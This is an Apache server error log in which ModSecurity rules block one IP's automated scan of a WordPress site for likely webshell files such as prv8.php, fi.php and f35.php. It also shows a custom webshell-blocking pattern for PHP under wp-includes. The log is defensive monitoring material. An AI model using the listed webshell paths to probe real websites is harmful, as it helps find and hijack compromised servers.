[Sat Apr 11 21:42:16.520040 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:10922] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adpPuE2gt0pb_0-cc6mHeQAAAEE"]
[Sat Apr 11 21:42:17.025792 2026] [:error] [pid 42313:tid 42328] [client 20.215.64.75:10967] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adpPuV2P8TxdbaN018IwggAAAAw"]
[Sat Apr 11 21:42:17.529915 2026] [:error] [pid 42219:tid 42231] [client 20.215.64.75:11131] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adpPuQ-4IkVbTQx_J-2BpQAAAIg"]
[Sat Apr 11 21:42:18.035428 2026] [:error] [pid 42219:tid 42244] [client 20.215.64.75:10938] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adpPug-4IkVbTQx_J-2BpgAAAJU"]
[Sat Apr 11 21:42:18.540337 2026] [:error] [pid 42220:tid 42257] [client 20.215.64.75:10917] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPukz5c3Cs6a8B5QuEXQAAAMY"]
[Sat Apr 11 21:42:19.049864 2026] [:error] [pid 42221:tid 42278] [client 20.215.64.75:11041] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPu02gt0pb_0-cc6mHfAAAAEA"]
[Sat Apr 11 21:42:19.554753 2026] [:error] [pid 42221:tid 42285] [client 20.215.64.75:10980] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPu02gt0pb_0-cc6mHfwAAAEc"]
[Sat Apr 11 21:42:20.060876 2026] [:error] [pid 42219:tid 42241] [client 20.215.64.75:10986] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPvA-4IkVbTQx_J-2BqgAAAJI"]
[Sat Apr 11 21:42:20.669013 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11021] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adpPvE2gt0pb_0-cc6mHiAAAAEo"]
[Sat Apr 11 21:42:21.175446 2026] [:error] [pid 42219:tid 42229] [client 20.215.64.75:10882] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adpPvQ-4IkVbTQx_J-2BqwAAAIY"]
[Sat Apr 11 21:42:21.681134 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10970] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adpPvU2gt0pb_0-cc6mHiwAAAEk"]
[Sat Apr 11 21:42:22.185604 2026] [:error] [pid 42221:tid 42286] [client 20.215.64.75:11065] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adpPvk2gt0pb_0-cc6mHjAAAAEg"]
[Sat Apr 11 21:42:22.692192 2026] [:error] [pid 42219:tid 42240] [client 20.215.64.75:10964] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPvg-4IkVbTQx_J-2BsAAAAJE"]
[Sat Apr 11 21:42:23.201057 2026] [:error] [pid 42313:tid 42321] [client 20.215.64.75:11114] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPv12P8TxdbaN018IwhQAAAAU"]
[Sat Apr 11 21:42:23.705666 2026] [:error] [pid 42221:tid 42282] [client 20.215.64.75:10953] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPv02gt0pb_0-cc6mHjwAAAEQ"]
[Sat Apr 11 21:42:24.210466 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:10966] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "adpPwE2gt0pb_0-cc6mHkQAAAEE"]
[Sat Apr 11 21:42:24.737803 2026] [:error] [pid 42313:tid 42323] [client 20.215.64.75:11068] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "adpPwF2P8TxdbaN018IwiwAAAAc"]
[Sat Apr 11 21:42:25.242304 2026] [:error] [pid 42219:tid 42244] [client 20.215.64.75:10927] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "adpPwQ-4IkVbTQx_J-2BtAAAAJU"]
[Sat Apr 11 21:42:25.746611 2026] [:error] [pid 42219:tid 42233] [client 20.215.64.75:10934] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "adpPwQ-4IkVbTQx_J-2BtQAAAIo"]
[Sat Apr 11 21:42:26.250875 2026] [:error] [pid 42221:tid 42289] [client 20.215.64.75:10950] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "adpPwk2gt0pb_0-cc6mHmgAAAEs"]
[Sat Apr 11 21:42:26.755814 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11060] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "adpPwk2gt0pb_0-cc6mHnwAAAEo"]
[Sat Apr 11 21:42:27.260168 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10889] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "adpPw02gt0pb_0-cc6mHowAAAEk"]
[Sat Apr 11 21:42:27.764674 2026] [:error] [pid 42220:tid 42263] [client 20.215.64.75:10818] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "adpPw0z5c3Cs6a8B5QuEaAAAAMw"]
[Sat Apr 11 21:42:28.270163 2026] [:error] [pid 42220:tid 42270] [client 20.215.64.75:11070] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "adpPxEz5c3Cs6a8B5QuEagAAANM"]
[Sat Apr 11 21:42:28.774829 2026] [:error] [pid 42219:tid 42238] [client 20.215.64.75:10982] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1.php"] [unique_id "adpPxA-4IkVbTQx_J-2BuwAAAI8"]
[Sat Apr 11 21:42:29.280215 2026] [:error] [pid 42220:tid 42275] [client 20.215.64.75:10971] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1.php"] [unique_id "adpPxUz5c3Cs6a8B5QuEbAAAANg"]
[Sat Apr 11 21:42:29.784837 2026] [:error] [pid 42220:tid 42269] [client 20.215.64.75:10916] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1.php"] [unique_id "adpPxUz5c3Cs6a8B5QuEbwAAANI"]
[Sat Apr 11 21:42:30.288928 2026] [:error] [pid 42221:tid 42301] [client 20.215.64.75:10995] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1.php"] [unique_id "adpPxk2gt0pb_0-cc6mHqQAAAFc"]
[Sat Apr 11 21:42:30.793041 2026] [:error] [pid 42219:tid 42237] [client 20.215.64.75:11040] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/update/f35.php"] [unique_id "adpPxg-4IkVbTQx_J-2BwAAAAI4"]
[Sat Apr 11 21:42:31.297881 2026] [:error] [pid 42221:tid 42290] [client 20.215.64.75:10898] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/update/f35.php"] [unique_id "adpPx02gt0pb_0-cc6mHqgAAAEw"]
[Sat Apr 11 21:42:31.802696 2026] [:error] [pid 42221:tid 42289] [client 20.215.64.75:10960] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/update/f35.php"] [unique_id "adpPx02gt0pb_0-cc6mHrQAAAEs"]
[Sat Apr 11 21:42:32.311846 2026] [:error] [pid 42220:tid 42260] [client 20.215.64.75:11058] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/update/f35.php"] [unique_id "adpPyEz5c3Cs6a8B5QuEcgAAAMk"]
[Sat Apr 11 21:42:32.815895 2026] [:error] [pid 42221:tid 42282] [client 20.215.64.75:10828] [client 20.215.64.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adpPyE2gt0pb_0-cc6mHsgAAAEQ"]
[Sat Apr 11 21:42:33.320746 2026] [:error] [pid 42219:tid 42231] [client 20.215.64.75:10912] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "adpPyQ-4IkVbTQx_J-2BwgAAAIg"]
[Sat Apr 11 21:42:33.826943 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:10951] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "adpPyV2P8TxdbaN018IwlgAAAAI"]
[Sat Apr 11 21:42:34.331857 2026] [:error] [pid 42220:tid 42262] [client 20.215.64.75:10935] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "adpPykz5c3Cs6a8B5QuEcwAAAMs"]
[Sat Apr 11 21:42:34.848995 2026] [:error] [pid 42221:tid 42295] [client 20.215.64.75:10909] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adpPyk2gt0pb_0-cc6mHtwAAAFE"]
[Sat Apr 11 21:42:35.352762 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:10921] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adpPy02gt0pb_0-cc6mHugAAAEk"]
[Sat Apr 11 21:42:35.858761 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:11000] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adpPy12P8TxdbaN018IwngAAAA4"]
[Sat Apr 11 21:42:36.362203 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:10895] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adpPzF2P8TxdbaN018IwogAAABI"]
[Sat Apr 11 21:42:36.868478 2026] [:error] [pid 42221:tid 42282] [client 20.215.64.75:10906] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adpPzE2gt0pb_0-cc6mHvwAAAEQ"]
[Sat Apr 11 21:42:37.372957 2026] [:error] [pid 42221:tid 42295] [client 20.215.64.75:11039] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adpPzU2gt0pb_0-cc6mHwgAAAFE"]
[Sat Apr 11 21:42:37.877751 2026] [:error] [pid 42221:tid 42289] [client 20.215.64.75:10984] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adpPzU2gt0pb_0-cc6mHxQAAAEs"]
[Sat Apr 11 21:42:38.382091 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:10996] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adpPzk2gt0pb_0-cc6mHxwAAAEM"]
[Sat Apr 11 21:42:38.887547 2026] [:error] [pid 42220:tid 42255] [client 20.215.64.75:11163] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prv8.php"] [unique_id "adpPzkz5c3Cs6a8B5QuEeQAAAMQ"]
[Sat Apr 11 21:42:39.392342 2026] [:error] [pid 42313:tid 42319] [client 20.215.64.75:10880] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prv8.php"] [unique_id "adpPz12P8TxdbaN018IwpQAAAAM"]
[Sat Apr 11 21:42:39.896999 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:10827] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prv8.php"] [unique_id "adpPz12P8TxdbaN018IwpwAAAA4"]
[Sat Apr 11 21:42:40.403167 2026] [:error] [pid 42313:tid 42336] [client 20.215.64.75:11004] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prv8.php"] [unique_id "adpP0F2P8TxdbaN018IwqgAAABQ"]
[Sat Apr 11 21:42:40.907396 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:10974] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/k.php"] [unique_id "adpP0E2gt0pb_0-cc6mH0AAAAEM"]
[Sat Apr 11 21:42:41.416003 2026] [:error] [pid 42221:tid 42286] [client 20.215.64.75:10908] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/k.php"] [unique_id "adpP0U2gt0pb_0-cc6mH0QAAAEg"]
[Sat Apr 11 21:42:41.920577 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:11006] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/k.php"] [unique_id "adpP0V2P8TxdbaN018IwrwAAAAI"]
[Sat Apr 11 21:42:42.457027 2026] [:error] [pid 42313:tid 42322] [client 20.215.64.75:10886] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/k.php"] [unique_id "adpP0l2P8TxdbaN018IwsgAAAAY"]
[Sat Apr 11 21:42:42.970583 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:10881] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev.php"] [unique_id "adpP0k2gt0pb_0-cc6mH1wAAAFI"]
[Sat Apr 11 21:42:43.514328 2026] [proxy_fcgi:error] [pid 42221:tid 42295] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:43.770576 2026] [proxy_fcgi:error] [pid 42221:tid 42290] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:44.028104 2026] [proxy_fcgi:error] [pid 42221:tid 42288] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:44.296624 2026] [proxy_fcgi:error] [pid 42221:tid 42281] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:44.557231 2026] [proxy_fcgi:error] [pid 42221:tid 42286] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:44.813834 2026] [proxy_fcgi:error] [pid 42221:tid 42299] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:45.070085 2026] [proxy_fcgi:error] [pid 42221:tid 42293] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:45.581593 2026] [proxy_fcgi:error] [pid 42221:tid 42290] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:45.837422 2026] [proxy_fcgi:error] [pid 42221:tid 42287] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:42:46.095516 2026] [proxy_fcgi:error] [pid 42221:tid 42281] [client 20.215.64.75:11113] AH01071: Got error 'Primary script unknown'
